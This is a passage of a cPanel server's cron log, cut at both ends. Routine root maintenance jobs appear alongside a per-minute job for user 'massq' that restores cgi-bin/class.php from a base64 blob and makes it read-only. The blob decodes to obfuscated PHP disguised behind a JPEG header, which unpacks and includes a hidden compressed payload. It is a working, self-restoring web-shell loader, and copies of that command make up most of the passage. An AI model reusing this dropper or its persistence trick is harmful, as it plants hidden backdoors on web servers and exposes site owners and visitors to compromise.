jg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:40:01 server CROND[16159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:40:01 server CROND[16160]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 17:40:01 server CROND[16161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:40:01 server CROND[16162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:41:01 server CROND[16380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:42:01 server CROND[16451]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 17:42:01 server CROND[16452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:43:01 server CROND[16530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:44:01 server CROND[16597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:45:01 server CROND[16680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:45:01 server CROND[16679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:45:01 server CROND[16681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:46:01 server CROND[16904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:47:01 server CROND[16977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:48:01 server CROND[17039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:49:01 server CROND[17115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:50:01 server CROND[17181]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 17:50:01 server CROND[17183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:50:01 server CROND[17184]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 17:50:01 server CROND[17186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:50:01 server CROND[17185]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:51:01 server CROND[17305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:52:01 server CROND[17470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:53:01 server CROND[17533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 